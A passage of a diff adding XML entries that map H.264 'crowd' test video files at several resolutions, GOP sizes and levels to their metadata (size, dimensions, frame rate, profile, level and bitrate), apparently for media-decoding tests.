+    <value>mime=video/avc,size=186949,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=37221800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop4_mp.mp4">
+    <value>mime=video/avc,size=186951,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=37222000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f2_gop8_mp.mp4">
+    <value>mime=video/avc,size=186951,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=37222000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop2_mp.mp4">
+    <value>mime=video/avc,size=217822,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=28920264,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop4_mp.mp4">
+    <value>mime=video/avc,size=217825,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=28920528,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f3_gop8_mp.mp4">
+    <value>mime=video/avc,size=217825,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=28920528,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop2_mp.mp4">
+    <value>mime=video/avc,size=236867,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=23593496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop4_mp.mp4">
+    <value>mime=video/avc,size=244555,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=24363000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f4_gop8_mp.mp4">
+    <value>mime=video/avc,size=244555,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=24363000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop4_mp.mp4">
+    <value>mime=video/avc,size=271017,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21605760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f5_gop8_mp.mp4">
+    <value>mime=video/avc,size=271017,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=21605760,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop4_mp.mp4">
+    <value>mime=video/avc,size=286268,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=19020728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f6_gop8_mp.mp4">
+    <value>mime=video/avc,size=296602,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=19710200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop4_mp.mp4">
+    <value>mime=video/avc,size=301957,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=17199312,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f7_gop8_mp.mp4">
+    <value>mime=video/avc,size=322153,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=18354280,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop4_mp.mp4">
+    <value>mime=video/avc,size=318083,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=15855496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f8_gop8_mp.mp4">
+    <value>mime=video/avc,size=348812,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=17392744,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_1920x1080p50/crowd_1920x1080p50f9_gop8_mp.mp4">
+    <value>mime=video/avc,size=374719,width=1920,height=1080,frame-rate=50,profile=8,level=8192,bitrate=16611464,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f10_gop8_mp.mp4">
+    <value>mime=video/avc,size=1117187,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=44648600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f11_gop8_mp.mp4">
+    <value>mime=video/avc,size=1162683,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=42243600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f12_gop8_mp.mp4">
+    <value>mime=video/avc,size=1204897,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=40130296,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f13_gop8_mp.mp4">
+    <value>mime=video/avc,size=1253459,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=38536952,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f14_gop8_mp.mp4">
+    <value>mime=video/avc,size=1297092,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=37030856,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f15_gop8_mp.mp4">
+    <value>mime=video/avc,size=1341874,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=35756208,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f16_gop8_mp.mp4">
+    <value>mime=video/avc,size=1386546,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=34638144,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop1_mp.mp4">
+    <value>mime=video/avc,size=422800,width=3840,height=2160,frame-rate=1,profile=8,level=65536,bitrate=3375912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop2_mp.mp4">
+    <value>mime=video/avc,size=422863,width=3840,height=2160,frame-rate=1,profile=8,level=65536,bitrate=3376408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop4_mp.mp4">
+    <value>mime=video/avc,size=422863,width=3840,height=2160,frame-rate=1,profile=8,level=65536,bitrate=3376408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f1_gop8_mp.mp4">
+    <value>mime=video/avc,size=422863,width=3840,height=2160,frame-rate=1,profile=8,level=65536,bitrate=3376408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop1_mp.mp4">
+    <value>mime=video/avc,size=519274,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=103687000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop2_mp.mp4">
+    <value>mime=video/avc,size=519338,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=103699600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop4_mp.mp4">
+    <value>mime=video/avc,size=519338,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=103699600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f2_gop8_mp.mp4">
+    <value>mime=video/avc,size=519338,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=103699600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop2_mp.mp4">
+    <value>mime=video/avc,size=605734,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=80641864,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop4_mp.mp4">
+    <value>mime=video/avc,size=605734,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=80641864,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f3_gop8_mp.mp4">
+    <value>mime=video/avc,size=605734,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=80641864,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop2_mp.mp4">
+    <value>mime=video/avc,size=660414,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=65948200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop4_mp.mp4">
+    <value>mime=video/avc,size=684739,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=68381496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f4_gop8_mp.mp4">
+    <value>mime=video/avc,size=684739,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=68381496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop4_mp.mp4">
+    <value>mime=video/avc,size=767992,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=61363840,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f5_gop8_mp.mp4">
+    <value>mime=video/avc,size=767992,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=61363840,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop4_mp.mp4">
+    <value>mime=video/avc,size=807788,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=53788800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f6_gop8_mp.mp4">
+    <value>mime=video/avc,size=843119,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=56144728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop4_mp.mp4">
+    <value>mime=video/avc,size=855748,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=48844568,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f7_gop8_mp.mp4">
+    <value>mime=video/avc,size=920270,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=52532456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop4_mp.mp4">
+    <value>mime=video/avc,size=900559,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=44979344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f8_gop8_mp.mp4">
+    <value>mime=video/avc,size=1001612,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=50032800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_3840x2160p50/crowd_3840x2160p50f9_gop8_mp.mp4">
+    <value>mime=video/avc,size=1080673,width=3840,height=2160,frame-rate=50,profile=8,level=65536,bitrate=47987240,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f10_gop8_mp.mp4">
+    <value>mime=video/avc,size=15671,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=587960,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f11_gop8_mp.mp4">
+    <value>mime=video/avc,size=16479,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=563448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f12_gop8_mp.mp4">
+    <value>mime=video/avc,size=17261,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=542432,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f13_gop8_mp.mp4">
+    <value>mime=video/avc,size=18043,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=524152,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f14_gop8_mp.mp4">
+    <value>mime=video/avc,size=18860,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=509936,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f15_gop8_mp.mp4">
+    <value>mime=video/avc,size=19621,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=496128,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f16_gop8_mp.mp4">
+    <value>mime=video/avc,size=20127,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=477672,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f1_gop1_mp.mp4">
+    <value>mime=video/avc,size=7113,width=640,height=360,frame-rate=1,profile=8,level=512,bitrate=50408,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f1_gop2_mp.mp4">
+    <value>mime=video/avc,size=7174,width=640,height=360,frame-rate=1,profile=8,level=512,bitrate=50896,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f1_gop4_mp.mp4">
+    <value>mime=video/avc,size=7175,width=640,height=360,frame-rate=1,profile=8,level=512,bitrate=50904,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f1_gop8_mp.mp4">
+    <value>mime=video/avc,size=7175,width=640,height=360,frame-rate=1,profile=8,level=512,bitrate=50904,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f2_gop1_mp.mp4">
+    <value>mime=video/avc,size=8672,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1566400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f2_gop2_mp.mp4">
+    <value>mime=video/avc,size=8733,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1578600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f2_gop4_mp.mp4">
+    <value>mime=video/avc,size=8734,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1578800,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f2_gop8_mp.mp4">
+    <value>mime=video/avc,size=8735,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1579000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f3_gop2_mp.mp4">
+    <value>mime=video/avc,size=9916,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1199464,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f3_gop4_mp.mp4">
+    <value>mime=video/avc,size=9917,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1199600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f3_gop8_mp.mp4">
+    <value>mime=video/avc,size=9918,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=1199728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f4_gop2_mp.mp4">
+    <value>mime=video/avc,size=10906,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=997400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f4_gop4_mp.mp4">
+    <value>mime=video/avc,size=10679,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=975496,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f4_gop8_mp.mp4">
+    <value>mime=video/avc,size=10681,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=975696,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f5_gop4_mp.mp4">
+    <value>mime=video/avc,size=11780,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=866880,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f5_gop8_mp.mp4">
+    <value>mime=video/avc,size=11783,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=867120,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f6_gop4_mp.mp4">
+    <value>mime=video/avc,size=12772,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=787728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f6_gop8_mp.mp4">
+    <value>mime=video/avc,size=12529,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=772064,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f7_gop4_mp.mp4">
+    <value>mime=video/avc,size=13479,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=714912,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f7_gop8_mp.mp4">
+    <value>mime=video/avc,size=13458,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=714624,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f8_gop4_mp.mp4">
+    <value>mime=video/avc,size=14209,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=661848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f8_gop8_mp.mp4">
+    <value>mime=video/avc,size=14057,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=655048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_640x360p50/crowd_640x360p50f9_gop8_mp.mp4">
+    <value>mime=video/avc,size=15003,width=640,height=360,frame-rate=50,profile=8,level=512,bitrate=624128,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f10_gop8_mp.mp4">
+    <value>mime=video/avc,size=57414,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2257680,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f11_gop8_mp.mp4">
+    <value>mime=video/avc,size=59871,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2141344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f12_gop8_mp.mp4">
+    <value>mime=video/avc,size=62798,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2060328,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f13_gop8_mp.mp4">
+    <value>mime=video/avc,size=65531,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1985320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f14_gop8_mp.mp4">
+    <value>mime=video/avc,size=67807,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1908424,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f15_gop8_mp.mp4">
+    <value>mime=video/avc,size=70273,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1846848,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f16_gop8_mp.mp4">
+    <value>mime=video/avc,size=73063,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=1801072,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f1_gop1_mp.mp4">
+    <value>mime=video/avc,size=25307,width=854,height=480,frame-rate=1,profile=8,level=512,bitrate=195960,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f1_gop2_mp.mp4">
+    <value>mime=video/avc,size=25368,width=854,height=480,frame-rate=1,profile=8,level=512,bitrate=196448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f1_gop4_mp.mp4">
+    <value>mime=video/avc,size=25368,width=854,height=480,frame-rate=1,profile=8,level=512,bitrate=196448,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f1_gop8_mp.mp4">
+    <value>mime=video/avc,size=25369,width=854,height=480,frame-rate=1,profile=8,level=512,bitrate=196456,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f2_gop1_mp.mp4">
+    <value>mime=video/avc,size=30793,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=5990600,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f2_gop2_mp.mp4">
+    <value>mime=video/avc,size=30855,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6003000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f2_gop4_mp.mp4">
+    <value>mime=video/avc,size=30855,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6003000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f2_gop8_mp.mp4">
+    <value>mime=video/avc,size=30856,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=6003200,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f3_gop2_mp.mp4">
+    <value>mime=video/avc,size=35433,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=4601728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f3_gop4_mp.mp4">
+    <value>mime=video/avc,size=35433,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=4601728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f3_gop8_mp.mp4">
+    <value>mime=video/avc,size=35434,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=4601864,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f4_gop2_mp.mp4">
+    <value>mime=video/avc,size=38356,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=3742400,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f4_gop4_mp.mp4">
+    <value>mime=video/avc,size=38844,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=3792000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f4_gop8_mp.mp4">
+    <value>mime=video/avc,size=38845,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=3792096,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f5_gop4_mp.mp4">
+    <value>mime=video/avc,size=42494,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=3324000,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f5_gop8_mp.mp4">
+    <value>mime=video/avc,size=42495,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=3324080,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f6_gop4_mp.mp4">
+    <value>mime=video/avc,size=44848,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2926128,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f6_gop8_mp.mp4">
+    <value>mime=video/avc,size=45409,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2964064,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f7_gop4_mp.mp4">
+    <value>mime=video/avc,size=47798,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2675992,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f7_gop8_mp.mp4">
+    <value>mime=video/avc,size=48839,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2736392,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f8_gop4_mp.mp4">
+    <value>mime=video/avc,size=50153,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2459048,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f8_gop8_mp.mp4">
+    <value>mime=video/avc,size=51703,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2537344,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/gop/crowd_854x480p50/crowd_854x480p50f9_gop8_mp.mp4">
+    <value>mime=video/avc,size=55044,width=854,height=480,frame-rate=50,profile=8,level=512,bitrate=2403728,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/levels/crowd_1280x720p50f32_3600kbps_level_3.2_mp.mp4">
+    <value>mime=video/avc,size=319861,width=1280,height=720,frame-rate=50,profile=2,level=1024,bitrate=3982320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/levels/crowd_1280x720p50f32_3600kbps_level_4_mp.mp4">
+    <value>mime=video/avc,size=319856,width=1280,height=720,frame-rate=50,profile=2,level=2048,bitrate=3982320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/levels/crowd_128x96p50f32_200kbps_level_2_mp.mp4">
+    <value>mime=video/avc,size=12333,width=128,height=96,frame-rate=50,profile=2,level=32,bitrate=139320,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/levels/crowd_16x16p50f32_200kbps_level_1_mp.mp4">
+    <value>mime=video/avc,size=5415,width=16,height=16,frame-rate=50,profile=2,level=1,bitrate=54544,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/levels/crowd_176x144p50f32_200kbps_level_2_mp.mp4">
+    <value>mime=video/avc,size=12174,width=176,height=144,frame-rate=50,profile=2,level=32,bitrate=136824,max-bitrate=</value>
+  </entry>
+  <entry key="h264/yuv420/8bit/mp/levels/crowd_1920x1080p50f32_8200kbps_level_4.2_mp.mp4">
+    <value>mime=video/avc,size=821392,width=1920,height=1080,frame-rate=50,profile=2,level=8192,bitrate=10251448,max-bitrate=</value>
+  </entry>
